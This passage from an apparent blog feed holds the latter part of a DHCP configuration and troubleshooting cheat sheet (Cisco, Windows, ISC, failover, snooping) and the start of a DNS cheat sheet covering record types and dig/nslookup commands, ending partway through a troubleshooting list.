<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Command</th><th>Purpose</th></tr></thead><tbody><tr><td><code>ipconfig /all</code></td><td>View full IP configuration including lease info</td></tr><tr><td><code>ipconfig /release</code></td><td>Release current DHCP lease</td></tr><tr><td><code>ipconfig /renew</code></td><td>Request a new lease</td></tr><tr><td><code>ipconfig /flushdns</code></td><td>Clear the local DNS resolver cache</td></tr><tr><td><code>ipconfig /displaydns</code></td><td>Show cached DNS entries</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Cisco IOS DHCP Configuration</h2>



<p class="wp-block-paragraph">I configure Cisco routers as DHCP servers fairly often in small branch office setups.</p>



<pre class="wp-block-code"><code>Router(config)# ip dhcp excluded-address 192.168.1.1 192.168.1.10
Router(config)# ip dhcp pool OFFICE-POOL
Router(dhcp-config)# network 192.168.1.0 255.255.255.0
Router(dhcp-config)# default-router 192.168.1.1
Router(dhcp-config)# dns-server 8.8.8.8 8.8.4.4
Router(dhcp-config)# lease 7
</code></pre>



<h3 class="wp-block-heading">Configuring a DHCP Relay Agent (IP Helper)</h3>



<p class="wp-block-paragraph">When the DHCP server sits on a different subnet than the clients, I configure the interface to relay broadcasts:</p>



<pre class="wp-block-code"><code>Router(config)# interface GigabitEthernet0/1
Router(config-if)# ip helper-address 192.168.1.5
</code></pre>



<h3 class="wp-block-heading">Cisco Verification Commands</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Command</th><th>Purpose</th></tr></thead><tbody><tr><td><code>show ip dhcp binding</code></td><td>View current DHCP lease bindings</td></tr><tr><td><code>show ip dhcp pool</code></td><td>View pool configuration and usage stats</td></tr><tr><td><code>show ip dhcp conflict</code></td><td>View any detected IP address conflicts</td></tr><tr><td><code>show ip dhcp server statistics</code></td><td>View overall DHCP server stats</td></tr><tr><td><code>clear ip dhcp binding *</code></td><td>Clear all current bindings</td></tr><tr><td><code>debug ip dhcp server events</code></td><td>Real-time debug of DHCP server events</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">DHCPv6 Quick Reference</h2>



<p class="wp-block-paragraph">IPv6 networks use a similar but distinct process, often abbreviated <strong>SARR</strong> (Solicit, Advertise, Request, Reply) instead of DORA.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Step</th><th>Name</th><th>Description</th></tr></thead><tbody><tr><td>1</td><td>Solicit</td><td>Client broadcasts to locate a DHCPv6 server</td></tr><tr><td>2</td><td>Advertise</td><td>Server responds with available configuration</td></tr><tr><td>3</td><td>Request</td><td>Client requests the offered configuration</td></tr><tr><td>4</td><td>Reply</td><td>Server confirms and finalizes</td></tr></tbody></table></figure>



<pre class="wp-block-code"><code># Linux ISC DHCPv6 config snippet
subnet6 2001:db8:1::/64 {
  range6 2001:db8:1::100 2001:db8:1::200;
  option dhcp6.name-servers 2001:4860:4860::8888;
}
</code></pre>



<h2 class="wp-block-heading">DHCP Failover and High Availability</h2>



<p class="wp-block-paragraph">I never put a single DHCP server in charge of a production network without a redundancy plan — a downed server means no new devices can connect until it&#8217;s back up.</p>



<h3 class="wp-block-heading">Windows Server DHCP Failover</h3>



<pre class="wp-block-code"><code>Add-DhcpServerv4Failover -Name "Failover-Cluster1" `
  -PartnerServer "DHCP2.contoso.com" `
  -ScopeId 192.168.1.0 `
  -Mode LoadBalance
</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Failover Mode</th><th>Description</th></tr></thead><tbody><tr><td>Load Balance</td><td>Both servers actively issue leases, splitting the load</td></tr><tr><td>Hot Standby</td><td>One server is primary, the other only takes over if the primary fails</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Linux ISC DHCP Failover Configuration</h3>



<pre class="wp-block-code"><code>failover peer "dhcp-failover" {
  primary;
  address 192.168.1.5;
  port 647;
  peer address 192.168.1.6;
  peer port 647;
  max-response-delay 60;
  max-unacked-updates 10;
  load balance max seconds 3;
}

subnet 192.168.1.0 netmask 255.255.255.0 {
  pool {
    failover peer "dhcp-failover";
    range 192.168.1.100 192.168.1.200;
  }
}
</code></pre>



<p class="wp-block-paragraph">I always test failover by deliberately stopping the primary service in a maintenance window and confirming the secondary picks up new lease requests without a gap.</p>



<h2 class="wp-block-heading">DHCP Message Types Explained</h2>



<p class="wp-block-paragraph">Understanding the actual message types exchanged during DORA helps enormously when reading packet captures in Wireshark.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Message</th><th>Direction</th><th>Purpose</th></tr></thead><tbody><tr><td>DHCPDISCOVER</td><td>Client → Server</td><td>Broadcast to locate available DHCP servers</td></tr><tr><td>DHCPOFFER</td><td>Server → Client</td><td>Offers an IP address and configuration</td></tr><tr><td>DHCPREQUEST</td><td>Client → Server</td><td>Requests the offered IP (or renews an existing lease)</td></tr><tr><td>DHCPACK</td><td>Server → Client</td><td>Confirms the lease is finalized</td></tr><tr><td>DHCPNAK</td><td>Server → Client</td><td>Rejects the request (e.g., IP no longer valid)</td></tr><tr><td>DHCPDECLINE</td><td>Client → Server</td><td>Client detects the offered IP is already in use</td></tr><tr><td>DHCPRELEASE</td><td>Client → Server</td><td>Client voluntarily gives up its lease</td></tr><tr><td>DHCPINFORM</td><td>Client → Server</td><td>Client already has an IP but requests additional config</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">When I&#8217;m capturing traffic with <code>tcpdump</code> or Wireshark to debug a DHCP issue, I filter specifically on these message types rather than trying to read raw UDP 67/68 traffic blindly:</p>



<pre class="wp-block-code"><code>sudo tcpdump -i eth0 port 67 or port 68 -vv
</code></pre>



<h2 class="wp-block-heading">Configuring DHCP Options for Special Use Cases</h2>



<p class="wp-block-paragraph">Beyond the basics, I regularly configure a few option types for more specialized network needs.</p>



<h3 class="wp-block-heading">VoIP Phone Configuration (Option 66/150)</h3>



<pre class="wp-block-code"><code>subnet 192.168.2.0 netmask 255.255.255.0 {
  range 192.168.2.50 192.168.2.150;
  option tftp-server-name "192.168.2.10";
  option option-150 192.168.2.10;
}
</code></pre>



<h3 class="wp-block-heading">Vendor-Specific Options (Option 43)</h3>



<p class="wp-block-paragraph">Used often for wireless access point controllers to auto-discover their controller on boot:</p>



<pre class="wp-block-code"><code>option space cisco;
option cisco.controller-ip code 241 = ip-address;

subnet 192.168.3.0 netmask 255.255.255.0 {
  vendor-option-space cisco;
  option cisco.controller-ip 192.168.3.5;
}
</code></pre>



<h3 class="wp-block-heading">PXE Boot Configuration</h3>



<pre class="wp-block-code"><code>subnet 192.168.4.0 netmask 255.255.255.0 {
  range 192.168.4.50 192.168.4.200;
  next-server 192.168.4.10;
  filename "pxelinux.0";
}
</code></pre>



<h2 class="wp-block-heading">Auditing and Monitoring DHCP Health</h2>



<p class="wp-block-paragraph">I check these regularly, not just when something breaks, since catching scope exhaustion or lease anomalies early prevents outages before they happen.</p>



<pre class="wp-block-code"><code># Windows: check scope utilization percentage
Get-DhcpServerv4ScopeStatistics -ScopeId 192.168.1.0 | 
  Select-Object ScopeId, Free, InUse, PercentageInUse
</code></pre>



<pre class="wp-block-code"><code># Linux: quick lease count check
grep -c "lease" /var/lib/dhcp/dhcpd.leases
</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metric</th><th>Why I Track It</th></tr></thead><tbody><tr><td>Scope utilization %</td><td>Warns me before a pool runs out of addresses</td></tr><tr><td>Lease duration vs. renewal rate</td><td>Helps tune lease times for the actual usage pattern</td></tr><tr><td>DHCPDECLINE frequency</td><td>High counts often indicate IP conflicts or static IP overlap</td></tr><tr><td>DHCPNAK frequency</td><td>Can indicate misconfigured relay agents or stale client cache</td></tr><tr><td>Number of active reservations</td><td>Helps me keep documentation in sync with reality</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Migrating or Backing Up a DHCP Server</h2>



<p class="wp-block-paragraph">Before any major change, I always back up the current configuration — this has saved me more than once when a scope change went wrong.</p>



<pre class="wp-block-code"><code># Windows: export configuration
Export-DhcpServer -File "C:\Backup\dhcp-backup.xml" -Leases

# Windows: import configuration on a new server
Import-DhcpServer -File "C:\Backup\dhcp-backup.xml" -Leases -BackupPath "C:\Backup"
</code></pre>



<pre class="wp-block-code"><code># Linux: simple config and lease backup
sudo cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.bak
sudo cp /var/lib/dhcp/dhcpd.leases /var/lib/dhcp/dhcpd.leases.bak
</code></pre>



<h2 class="wp-block-heading">Troubleshooting DHCP: My Actual Workflow</h2>



<p class="wp-block-paragraph">When a device can&#8217;t get an IP address, this is the order I check things in:</p>



<ol class="wp-block-list">
<li><strong>Confirm the physical/logical connection</strong> — is the interface up? <code>ip link show</code> or <code>ipconfig /all</code>.</li>



<li><strong>Check for an APIPA address</strong> (<code>169.254.x.x</code> on Windows) — this tells me the client never got a DHCP response at all.</li>



<li><strong>Verify the DHCP service is running</strong> on the server: <code>systemctl status isc-dhcp-server</code> or <code>Get-Service DHCPServer</code>.</li>



<li><strong>Check scope utilization</strong> — is the scope exhausted? <code>show ip dhcp pool</code> or <code>Get-DhcpServerv4ScopeStatistics</code>.</li>



<li><strong>Check for DHCP relay/IP helper misconfiguration</strong> if the client is on a different subnet than the server.</li>



<li><strong>Look for rogue DHCP servers</strong> on the network — a second, misconfigured DHCP server handing out bad leases is one of the most common causes of intermittent connectivity issues I&#8217;ve encountered.</li>



<li><strong>Review logs</strong> — <code>journalctl -u isc-dhcp-server</code> on Linux, Event Viewer on Windows, or <code>debug ip dhcp server events</code> on Cisco.</li>



<li><strong>Check for MAC address conflicts or duplicate reservations.</strong></li>



<li><strong>Test manually</strong> — release and renew the lease (<code>dhclient -r &amp;&amp; dhclient</code>, or <code>ipconfig /release &amp;&amp; ipconfig /renew</code>) to see if the issue is transient.</li>
</ol>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Symptom</th><th>Likely Cause</th></tr></thead><tbody><tr><td>Client has a 169.254.x.x address</td><td>No DHCP response received (APIPA)</td></tr><tr><td>Client gets an IP but wrong subnet/gateway</td><td>Scope misconfiguration or wrong relay target</td></tr><tr><td>Some clients get IPs, others don&#8217;t</td><td>Scope exhaustion</td></tr><tr><td>Intermittent random IP conflicts</td><td>Rogue DHCP server on the network</td></tr><tr><td>Clients across VLANs can&#8217;t get IPs</td><td>Missing or misconfigured IP helper-address</td></tr><tr><td>Lease not renewing properly</td><td>Firewall blocking DHCP ports (UDP 67/68)</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Security Best Practices</h2>



<p class="wp-block-paragraph">DHCP is inherently a trust-based protocol, and I&#8217;ve learned to treat it as a genuine attack surface rather than just &#8220;plumbing.&#8221;</p>



<ul class="wp-block-list">
<li><strong>Enable DHCP snooping</strong> on managed switches to prevent rogue DHCP servers from handing out malicious configurations. On Cisco switches: <code>Switch(config)# ip dhcp snoopingSwitch(config)# ip dhcp snooping vlan 10Switch(config-if)# ip dhcp snooping trust</code></li>



<li><strong>Limit the number of leases per port</strong> to guard against DHCP starvation attacks, where an attacker floods a server with bogus requests to exhaust the address pool.</li>



<li><strong>Use reservations for critical infrastructure</strong> (printers, servers, access points) so their addresses never change and can be tracked reliably.</li>



<li><strong>Segment DHCP traffic with VLANs</strong> so broadcast domains stay small and rogue servers on one segment can&#8217;t affect others.</li>



<li><strong>Monitor DHCP logs regularly</strong> for unexpected servers responding to client requests — this is often the first sign of a man-in-the-middle attempt.</li>



<li><strong>Set conservative lease times</strong> in high-security environments, since shorter leases reduce the window an attacker has if they manage to obtain an address.</li>



<li><strong>Disable unused DHCP relay agents</strong> and restrict <code>ip helper-address</code> entries to only the subnets that need them.</li>
</ul>



<h2 class="wp-block-heading">Real-World Use Cases</h2>



<ul class="wp-block-list">
<li><strong>Small office network:</strong> A single Cisco router or a Linux box running <code>isc-dhcp-server</code> handles a /24 subnet, hands out addresses to laptops and printers, with static reservations for shared devices.</li>



<li><strong>Enterprise multi-VLAN environment:</strong> A centralized Windows Server DHCP failover cluster serves multiple VLANs via IP helper-addresses configured on each Layer 3 switch, with scope options tailored per VLAN (different DNS servers or domain suffixes per department).</li>



<li><strong>Data center PXE boot environment:</strong> DHCP options 66 and 67 point servers to a TFTP server and boot file for automated OS deployment across racks of bare-metal servers.</li>



<li><strong>ISP/carrier-grade networks:</strong> DHCPv6 with prefix delegation (option 25) hands out entire IPv6 prefixes to customer routers rather than single addresses.</li>



<li><strong>Guest Wi-Fi networks:</strong> Short lease times and a dedicated scope with heavy exclusions keep guest device turnover manageable and isolated from internal VLANs.</li>
</ul>



<h2 class="wp-block-heading">Common Mistakes I See (and Have Made Myself)</h2>



<ol class="wp-block-list">
<li><strong>Overlapping scopes across VLANs</strong> — assigning the same IP range to two different subnets, causing conflicts the moment routing changes.</li>



<li><strong>Forgetting to exclude the gateway/router address</strong> from the scope range, leading to it eventually being handed out to a client.</li>



<li><strong>Setting lease times too long</strong> in dynamic environments like guest networks, leading to exhausted scopes.</li>



<li><strong>Not configuring failover/redundancy</strong> for critical DHCP servers — a single point of failure that takes down an entire office when the server reboots.</li>



<li><strong>Ignoring DHCP snooping</strong> on switches, leaving the network wide open to rogue DHCP servers.</li>



<li><strong>Not documenting reservations</strong>, leading to confusion later about which device owns which static lease.</li>



<li><strong>Assuming DNS issues are DHCP issues</strong> (or vice versa) without actually checking <code>ipconfig /all</code> output first to isolate which layer is failing.</li>
</ol>



<h2 class="wp-block-heading">Frequently Asked Questions</h2>



<p class="wp-block-paragraph"><strong>What&#8217;s the difference between a DHCP reservation and a static IP configuration?</strong> A reservation is still assigned dynamically through DHCP but always resolves to the same address for a given MAC address, so it remains centrally managed. A static configuration is set manually on the device itself, outside of DHCP entirely.</p>



<p class="wp-block-paragraph"><strong>How long should a DHCP lease last?</strong> It depends on the environment. Stable corporate networks often use lease times of a day or more, while guest or high-turnover networks (like public Wi-Fi) benefit from shorter leases of just a few hours to free up addresses faster.</p>



<p class="wp-block-paragraph"><strong>Can two DHCP servers run on the same network?</strong> Yes, but only intentionally through a properly configured failover or load-balancing setup with non-overlapping scopes. Two independent, uncoordinated DHCP servers on the same broadcast domain will cause conflicts.</p>



<p class="wp-block-paragraph"><strong>What ports does DHCP use?</strong> UDP port 67 for the server and UDP port 68 for the client.</p>



<p class="wp-block-paragraph"><strong>What happens when a DHCP scope runs out of addresses?</strong> New clients requesting an address will fail to get one and typically fall back to an APIPA address (169.254.x.x on Windows) or simply fail to connect, depending on the OS.</p>



<p class="wp-block-paragraph"><strong>Does DHCP work across different subnets?</strong> Not natively, since DHCP relies on broadcasts. A relay agent (using <code>ip helper-address</code> on Cisco, for example) is required to forward requests from clients on a remote subnet to a DHCP server elsewhere.</p>



<h2 class="wp-block-heading">Interview Questions on DHCP (with Answers)</h2>



<p class="wp-block-paragraph"><strong>1. Explain the DORA process.</strong> Discover (client broadcasts for a server), Offer (server proposes an IP), Request (client asks to use it), Acknowledge (server confirms the lease) — the four-step handshake behind every DHCP-assigned address.</p>



<p class="wp-block-paragraph"><strong>2. What is DHCP starvation, and how do you prevent it?</strong> It&#8217;s an attack where a malicious device floods a DHCP server with bogus requests using spoofed MAC addresses to exhaust the available address pool. Prevented with port security and DHCP snooping.</p>



<p class="wp-block-paragraph"><strong>3. What&#8217;s the purpose of an IP helper-address?</strong> It configures a router interface to forward DHCP broadcast requests as unicast packets to a DHCP server on a different subnet, since broadcasts don&#8217;t normally cross subnet boundaries.</p>



<p class="wp-block-paragraph"><strong>4. How does DHCP failover work?</strong> Two DHCP servers share a pool of addresses and lease state information, so if one goes down, the other continues issuing and renewing leases without interruption.</p>



<p class="wp-block-paragraph"><strong>5. What DHCP option is used for PXE network booting?</strong> Options 66 (TFTP server name) and 67 (bootfile name) work together to point a booting client to the correct boot image.</p>



<p class="wp-block-paragraph"><strong>6. How would you detect a rogue DHCP server on your network?</strong> By monitoring DHCP snooping logs on managed switches, watching for unexpected DHCPOFFER responses from unauthorized MAC addresses, or using packet capture tools like Wireshark to inspect DHCP traffic sources.</p>



<h2 class="wp-block-heading">Printable Quick-Reference Summary</h2>



<pre class="wp-block-code"><code>DORA PROCESS
Discover -&gt; Offer -&gt; Request -&gt; Acknowledge

KEY PORTS
UDP 67 - DHCP Server
UDP 68 - DHCP Client

LINUX
systemctl restart isc-dhcp-server
cat /var/lib/dhcp/dhcpd.leases
dhclient -r / dhclient eth0

WINDOWS (PowerShell)
Add-DhcpServerv4Scope
Get-DhcpServerv4Lease
Add-DhcpServerv4Reservation

WINDOWS (Client)
ipconfig /release
ipconfig /renew
ipconfig /all

CISCO IOS
ip dhcp pool NAME
show ip dhcp binding
ip helper-address &lt;server-ip&gt;

SECURITY
ip dhcp snooping
Limit leases per port
Use reservations for critical devices
</code></pre>



<h2 class="wp-block-heading">Official Documentation and Further Reading</h2>



<ul class="wp-block-list">
<li><a href="https://www.rfc-editor.org/rfc/rfc2131">RFC 2131 — Dynamic Host Configuration Protocol</a></li>



<li><a href="https://www.isc.org/dhcp/">ISC DHCP Documentation (dhcpd.conf)</a></li>



<li><a href="https://learn.microsoft.com/en-us/powershell/module/dhcpserver/">Microsoft DHCP Server PowerShell Documentation</a></li>



<li><a href="https://www.cisco.com/c/en/us/support/docs/ip/dynamic-address-allocation-resolution/13618-dhcp-help.html">Cisco IOS DHCP Configuration Guide</a></li>
</ul>



<p class="wp-block-paragraph">DHCP is one of those protocols that quietly does its job until it doesn&#8217;t — and when it doesn&#8217;t, everything grinds to a halt fast. Keep this reference nearby, and the next time a floor full of laptops loses connectivity on a Friday afternoon, you&#8217;ll know exactly where to look first.</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-dynamic-host-configuration-protocol-dhcp-cheat-sheet/">Ultimate Dynamic Host Configuration Protocol (DHCP) Cheat Sheet: Commands and Configuration</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cheatsheet/ultimate-dynamic-host-configuration-protocol-dhcp-cheat-sheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6024</post-id>	</item>
		<item>
		<title>Ultimate DNS Cheat Sheet: Essential DNS Records, Commands, and Troubleshooting</title>
		<link>https://awjunaid.com/cheatsheet/ultimate-dns-cheat-sheet/</link>
					<comments>https://awjunaid.com/cheatsheet/ultimate-dns-cheat-sheet/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 21 Sep 2023 20:20:59 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=6021</guid>

					<description><![CDATA[<p>DNS breaks more mornings than any other piece of infrastructure I work with. A site goes down, an&#8230;</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-dns-cheat-sheet/">Ultimate DNS Cheat Sheet: Essential DNS Records, Commands, and Troubleshooting</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">DNS breaks more mornings than any other piece of infrastructure I work with. A site goes down, an email stops arriving, an SSL certificate fails to issue — and nine times out of ten, the trail leads back to a misconfigured record or a stale cache. I put this cheat sheet together as the reference I actually keep open in a browser tab, not a theoretical overview. It covers the records, the commands, and the troubleshooting steps I reach for constantly, organized so you can scan and find what you need in seconds.</p>



<p class="wp-block-paragraph">Bookmark this page. Whether you&#8217;re a sysadmin, a developer deploying your first app, or you&#8217;re studying for a networking interview, this is meant to save you the fifteen minutes of searching you&#8217;d otherwise lose every time DNS acts up.</p>



<h2 class="wp-block-heading">Table of Contents</h2>



<ol class="wp-block-list">
<li>What DNS Actually Does (Quick Refresher)</li>



<li>DNS Record Types Reference Table</li>



<li>DNS Record Syntax and Examples</li>



<li>How a DNS Query Resolves (Step by Step)</li>



<li>Essential DNS Commands by Platform</li>



<li>dig Command Deep Dive</li>



<li>nslookup and host Command Reference</li>



<li>DNS Troubleshooting Playbook</li>



<li>TTL and DNS Propagation Explained</li>



<li>DNS Security Best Practices</li>



<li>Real-World DNS Workflows</li>



<li>Common DNS Mistakes to Avoid</li>



<li>FAQs</li>



<li>Interview Questions and Answers</li>



<li>Printable Quick-Reference Summary</li>



<li>Official Documentation Links</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">1. What DNS Actually Does (Quick Refresher)</h2>



<p class="wp-block-paragraph">DNS (Domain Name System) is the phonebook of the internet, but that description undersells it. It&#8217;s a distributed, hierarchical, heavily cached database that translates human-readable names into machine-usable data — IP addresses, mail server priorities, verification tokens, and more.</p>



<p class="wp-block-paragraph">The hierarchy runs like this:</p>



<ul class="wp-block-list">
<li><strong>Root servers</strong> — the starting point for every lookup, represented by a single dot (<code>.</code>)</li>



<li><strong>TLD servers</strong> — handle <code>.com</code>, <code>.org</code>, <code>.io</code>, country codes like <code>.pk</code>, and so on</li>



<li><strong>Authoritative name servers</strong> — hold the actual records for a specific domain</li>



<li><strong>Recursive resolvers</strong> — the servers your ISP or a public provider (like 1.1.1.1 or 8.8.8.8) runs to do the lookup work on your behalf</li>
</ul>



<p class="wp-block-paragraph">Every time you type a domain into a browser, this chain gets walked (or, more often, answered straight from cache).</p>



<h2 class="wp-block-heading">2. DNS Record Types Reference Table</h2>



<p class="wp-block-paragraph">This is the table I refer back to constantly. Keep it handy.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Record Type</th><th>Purpose</th><th>Example Value</th><th>Notes</th></tr></thead><tbody><tr><td>A</td><td>Maps a hostname to an IPv4 address</td><td><code>192.0.2.10</code></td><td>Most common record type</td></tr><tr><td>AAAA</td><td>Maps a hostname to an IPv6 address</td><td><code>2001:db8::1</code></td><td>Required for IPv6 reachability</td></tr><tr><td>CNAME</td><td>Aliases one hostname to another</td><td><code>www.example.com. -&gt; example.com.</code></td><td>Cannot coexist with other records on the same name</td></tr><tr><td>MX</td><td>Directs email to mail servers</td><td><code>10 mail.example.com.</code></td><td>Lower priority number = higher preference</td></tr><tr><td>TXT</td><td>Stores arbitrary text data</td><td><code>"v=spf1 include:_spf.google.com ~all"</code></td><td>Used for SPF, DKIM, DMARC, domain verification</td></tr><tr><td>NS</td><td>Delegates a zone to name servers</td><td><code>ns1.example.com.</code></td><td>Defines which servers are authoritative</td></tr><tr><td>SOA</td><td>Start of Authority — zone metadata</td><td>serial, refresh, retry, expire, TTL</td><td>One per zone, defines zone-wide defaults</td></tr><tr><td>PTR</td><td>Reverse DNS — IP to hostname</td><td><code>10.2.0.192.in-addr.arpa. -&gt; host.example.com.</code></td><td>Critical for mail server reputation</td></tr><tr><td>SRV</td><td>Defines a service&#8217;s host and port</td><td><code>_sip._tcp.example.com. 5 0 5060 sip.example.com.</code></td><td>Used by VoIP, XMPP, Active Directory</td></tr><tr><td>CAA</td><td>Restricts which CAs can issue certs</td><td><code>0 issue "letsencrypt.org"</code></td><td>Security control against mis-issuance</td></tr><tr><td>ALIAS/ANAME</td><td>CNAME-like behavior at the zone apex</td><td>Provider-specific</td><td>Not a standard DNS type, vendor feature</td></tr><tr><td>NAPTR</td><td>Regex-based rewriting rules</td><td>Used in ENUM, SIP routing</td><td>Rare outside telecom</td></tr><tr><td>DS / DNSKEY</td><td>DNSSEC chain of trust</td><td>Cryptographic hashes and keys</td><td>Covered more in the security section</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">3. DNS Record Syntax and Examples</h2>



<p class="wp-block-paragraph">A standard zone file entry follows this pattern:</p>



<pre class="wp-block-code"><code>name    TTL    class    type    value
</code></pre>



<p class="wp-block-paragraph">Real examples from a working zone file:</p>



<pre class="wp-block-code"><code>example.com.        3600  IN  A       192.0.2.10
www.example.com.     3600  IN  CNAME   example.com.
example.com.        3600  IN  MX  10   mail.example.com.
example.com.        3600  IN  TXT     "v=spf1 mx include:_spf.google.com ~all"
_dmarc.example.com. 3600  IN  TXT     "v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com"
example.com.        3600  IN  NS      ns1.example.com.
example.com.        3600  IN  NS      ns2.example.com.
</code></pre>



<p class="wp-block-paragraph">A few syntax habits that will save you debugging time:</p>



<ul class="wp-block-list">
<li>Always terminate fully-qualified domain names with a trailing dot (<code>example.com.</code>) in raw zone files. Most DNS providers&#8217; web UIs handle this for you, but if you&#8217;re editing zone files directly, forgetting the dot is one of the most common causes of broken records.</li>



<li>TXT record values longer than 255 characters need to be split into quoted strings.</li>



<li>MX records always need a priority number before the mail server hostname.</li>
</ul>



<h2 class="wp-block-heading">4. How a DNS Query Resolves (Step by Step)</h2>



<p class="wp-block-paragraph">Here&#8217;s what happens, in order, when a browser looks up <code>www.example.com</code> with a cold cache:</p>



<ol class="wp-block-list">
<li><strong>Browser cache check</strong> — has this domain been resolved recently?</li>



<li><strong>OS cache check</strong> — the local stub resolver checks its own cache.</li>



<li><strong>Recursive resolver query</strong> — the request goes to a configured resolver (ISP default, or a public one like 1.1.1.1, 8.8.8.8, 9.9.9.9).</li>



<li><strong>Root server query</strong> — the resolver asks a root server, which points to the TLD server for <code>.com</code>.</li>



<li><strong>TLD server query</strong> — the <code>.com</code> server responds with the authoritative name servers for <code>example.com</code>.</li>



<li><strong>Authoritative server query</strong> — the resolver asks that name server directly for the <code>A</code> record.</li>



<li><strong>Response returned and cached</strong> — the answer flows back to the browser and gets cached at every layer, honoring the record&#8217;s TTL.</li>
</ol>



<p class="wp-block-paragraph">This whole chain typically completes in under 100ms and is invisible unless something breaks.</p>



<h2 class="wp-block-heading">5. Essential DNS Commands by Platform</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Task</th><th>Linux / macOS</th><th>Windows</th></tr></thead><tbody><tr><td>Basic lookup</td><td><code>dig example.com</code></td><td><code>nslookup example.com</code></td></tr><tr><td>Lookup specific record type</td><td><code>dig example.com MX</code></td><td><code>nslookup -type=MX example.com</code></td></tr><tr><td>Reverse lookup</td><td><code>dig -x 192.0.2.10</code></td><td><code>nslookup 192.0.2.10</code></td></tr><tr><td>Trace full resolution path</td><td><code>dig +trace example.com</code></td><td>Not natively available</td></tr><tr><td>Query a specific DNS server</td><td><code>dig @8.8.8.8 example.com</code></td><td><code>nslookup example.com 8.8.8.8</code></td></tr><tr><td>Flush DNS cache</td><td><code>sudo systemd-resolve --flush-caches</code> (Linux) / <code>sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder</code> (macOS)</td><td><code>ipconfig /flushdns</code></td></tr><tr><td>Show current DNS config</td><td><code>resolvectl status</code> or <code>cat /etc/resolv.conf</code></td><td><code>ipconfig /all</code></td></tr><tr><td>PowerShell lookup</td><td>—</td><td><code>Resolve-DnsName example.com</code></td></tr><tr><td>Simple hostname lookup</td><td><code>host example.com</code></td><td>—</td></tr><tr><td>Check DNSSEC validation</td><td><code>dig +dnssec example.com</code></td><td><code>Resolve-DnsName -DnssecOk example.com</code></td></tr></tbody></table></figure>



<h2 class="wp-block-heading">6. dig Command Deep Dive</h2>



<p class="wp-block-paragraph"><code>dig</code> (Domain Information Groper) is the tool I default to for anything beyond a casual check — it&#8217;s more scriptable and detailed than <code>nslookup</code>.</p>



<p class="wp-block-paragraph"><strong>Basic syntax:</strong></p>



<pre class="wp-block-code"><code>dig &#91;@server] &#91;name] &#91;type] &#91;options]
</code></pre>



<p class="wp-block-paragraph"><strong>Common real examples:</strong></p>



<pre class="wp-block-code"><code># Basic A record lookup
dig example.com

# Query MX records
dig example.com MX

# Query all record types (ANY is deprecated by many servers, use per-type queries instead)
dig example.com A AAAA MX TXT NS

# Short answer only, skips the verbose header
dig example.com +short

# Query against a specific resolver
dig @1.1.1.1 example.com

# Full trace from the root down
dig example.com +trace

# Reverse DNS lookup
dig -x 192.0.2.10

# Check TTL remaining
dig example.com +noall +answer
</code></pre>



<p class="wp-block-paragraph"><strong>Sample expected output for <code>dig example.com +short</code>:</strong></p>



<pre class="wp-block-code"><code>192.0.2.10
</code></pre>



<p class="wp-block-paragraph"><strong>Sample expected output for a full <code>dig example.com A</code>:</strong></p>



<pre class="wp-block-code"><code>;; ANSWER SECTION:
example.com.        3600    IN      A       192.0.2.10

;; Query time: 24 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
</code></pre>



<p class="wp-block-paragraph">The <code>+short</code> flag is what I use in scripts. The full output is what I use when I need to see TTL, query time, and which server actually answered.</p>



<h2 class="wp-block-heading">7. nslookup and host Command Reference</h2>



<p class="wp-block-paragraph"><code>nslookup</code> ships on nearly every OS by default, which makes it the fastest tool to reach for when you&#8217;re on an unfamiliar machine.</p>



<pre class="wp-block-code"><code># Basic lookup
nslookup example.com

# Query a specific record type
nslookup -type=MX example.com
nslookup -type=TXT example.com
nslookup -type=NS example.com

# Query against a specific server
nslookup example.com 8.8.8.8

# Interactive mode
nslookup
&gt; set type=MX
&gt; example.com
&gt; exit
</code></pre>



<p class="wp-block-paragraph"><code>host</code> is the lightweight Linux/macOS alternative, good for quick one-liners:</p>



<pre class="wp-block-code"><code>host example.com
host -t MX example.com
host -a example.com    # all records
</code></pre>



<h2 class="wp-block-heading">8. DNS Troubleshooting Playbook</h2>



<p class="wp-block-paragraph">When something&#8217;s not resolving correctly, I work through this sequence rather than guessing:</p>



<ol class="wp-block-list">
<li><strong>Confirm the record exists at the authoritative source.</strong> <code>dig @ns1.example.com example.com A</code> If it&#8217;s wrong here, the problem is at the registrar or DNS provider — fix it there first.</li>



